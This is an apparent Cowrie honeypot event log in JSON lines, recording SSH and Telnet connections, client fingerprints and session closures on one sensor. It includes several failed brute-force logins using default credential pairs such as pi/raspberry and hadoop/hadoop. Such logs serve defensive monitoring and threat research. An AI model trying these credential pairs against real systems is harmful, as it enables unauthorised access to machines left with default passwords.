{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:00:52.000760Z","src_ip":"123.60.136.40","session":"6a855516ea40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.174565553665161,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:00:53.917186Z","src_ip":"111.50.70.34","session":"4e3fc9544a38","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:00:55.281046Z","src_ip":"122.168.114.167","session":"476727853d3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:00:55.286946Z","src_ip":"122.168.114.167","session":"476727853d3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"3.129.187.38","src_port":41798,"dst_ip":"10.17.0.5","dst_port":23,"session":"26fb2f656807","protocol":"telnet","message":"New connection: 3.129.187.38:41798 (10.17.0.5:23) [session: 26fb2f656807]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:00:55.506818Z"}
{"eventid":"cowrie.session.closed","duration":0.03532052040100098,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:00:55.542019Z","src_ip":"3.129.187.38","session":"26fb2f656807","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"48.3","message":"Connection lost after 48.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:00:57.815470Z","src_ip":"122.168.114.167","session":"f5d2ae33d894","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"3.129.187.38","src_port":37840,"dst_ip":"159.203.135.109","dst_port":23,"session":"02bb5654a82f","protocol":"telnet","message":"New connection: 3.129.187.38:37840 (159.203.135.109:23) [session: 02bb5654a82f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:01:09.753991Z"}
{"eventid":"cowrie.session.closed","duration":0.03233528137207031,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:01:09.786232Z","src_ip":"3.129.187.38","session":"02bb5654a82f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"pi","password":"raspberry","message":"login attempt [pi/raspberry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:01:26.254019Z","src_ip":"122.168.114.167","session":"476727853d3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":48848,"dst_ip":"159.203.135.109","dst_port":22,"session":"849f3c2cf6a9","protocol":"ssh","message":"New connection: 122.168.114.167:48848 (159.203.135.109:22) [session: 849f3c2cf6a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:01:32.087592Z"}
{"eventid":"cowrie.session.closed","duration":"44.6","message":"Connection lost after 44.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:01:32.568883Z","src_ip":"122.168.114.167","session":"476727853d3f","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:01:38.407919Z","src_ip":"122.168.114.167","session":"849f3c2cf6a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:01:38.411707Z","src_ip":"122.168.114.167","session":"849f3c2cf6a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.163.156.190","src_port":40962,"dst_ip":"159.203.135.109","dst_port":22,"session":"263fd4bb7c90","protocol":"ssh","message":"New connection: 113.163.156.190:40962 (159.203.135.109:22) [session: 263fd4bb7c90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:01:42.415864Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:01:42.492312Z","src_ip":"113.163.156.190","session":"263fd4bb7c90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:01:42.742271Z","src_ip":"113.163.156.190","session":"263fd4bb7c90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.97.179.160","src_port":47182,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c6c046cad3a","protocol":"ssh","message":"New connection: 103.97.179.160:47182 (10.17.0.5:22) [session: 1c6c046cad3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:01:43.474726Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:01:43.482736Z","src_ip":"103.97.179.160","session":"1c6c046cad3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitrix","password":"123321","message":"login attempt [bitrix/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:01:43.803554Z","src_ip":"113.163.156.190","session":"263fd4bb7c90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:01:44.540204Z","src_ip":"103.97.179.160","session":"1c6c046cad3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:01:45.061505Z","src_ip":"113.163.156.190","session":"263fd4bb7c90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gituser","password":"123","message":"login attempt [gituser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:01:45.176413Z","src_ip":"103.97.179.160","session":"1c6c046cad3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:01:46.391389Z","src_ip":"103.97.179.160","session":"1c6c046cad3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop","message":"login attempt [hadoop/hadoop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:02:04.174352Z","src_ip":"122.168.114.167","session":"849f3c2cf6a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"38.9","message":"Connection lost after 38.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:02:11.021708Z","src_ip":"122.168.114.167","session":"849f3c2cf6a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":51260,"dst_ip":"159.203.135.109","dst_port":22,"session":"59b1ac8ad7af","protocol":"ssh","message":"New connection: 122.168.114.167:51260 (159.203.135.109:22) [session: 59b1ac8ad7af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:02:11.245234Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:02:16.842079Z","src_ip":"122.168.114.167","session":"59b1ac8ad7af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:02:16.867829Z","src_ip":"122.168.114.167","session":"59b1ac8ad7af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.97.179.160","src_port":55124,"dst_ip":"10.17.0.5","dst_port":22,"session":"97b812f5aa4e","protocol":"ssh","message":"New connection: 103.97.179.160:55124 (10.17.0.5:22) [session: 97b812f5aa4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:02:40.074126Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:02:40.079112Z","src_ip":"103.97.179.160","session":"97b812f5aa4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:02:40.327905Z","src_ip":"103.97.179.160","session":"97b812f5aa4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wasadmin","password":"wasadmin","message":"login attempt [wasadmin/wasadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:02:41.217903Z","src_ip":"103.97.179.160","session":"97b812f5aa4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:02:42.434890Z","src_ip":"103.97.179.160","session":"97b812f5aa4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456","message":"login attempt [ubuntu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:02:42.739411Z","src_ip":"122.168.114.167","session":"59b1ac8ad7af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":53650,"dst_ip":"159.203.135.109","dst_port":22,"session":"d960297c5308","protocol":"ssh","message":"New connection: 122.168.114.167:53650 (159.203.135.109:22) [session: d960297c5308]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:02:50.015703Z"}
{"eventid":"cowrie.session.connect","src_ip":"76.127.61.251","src_port":43562,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a8439c01972","protocol":"ssh","message":"New connection: 76.127.61.251:43562 (10.17.0.5:22) [session: 3a8439c01972]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:02:50.871016Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:02:50.888409Z","src_ip":"76.127.61.251","session":"3a8439c01972","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:02:50.945268Z","src_ip":"76.127.61.251","session":"3a8439c01972","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"es","message":"login attempt [es/es] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:02:51.200857Z","src_ip":"76.127.61.251","session":"3a8439c01972","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"40.0","message":"Connection lost after 40.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:02:51.278780Z","src_ip":"122.168.114.167","session":"59b1ac8ad7af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:02:52.259711Z","src_ip":"76.127.61.251","session":"3a8439c01972","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:02:55.671826Z","src_ip":"122.168.114.167","session":"d960297c5308","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:02:55.676228Z","src_ip":"122.168.114.167","session":"d960297c5308","protocol":"ssh"}
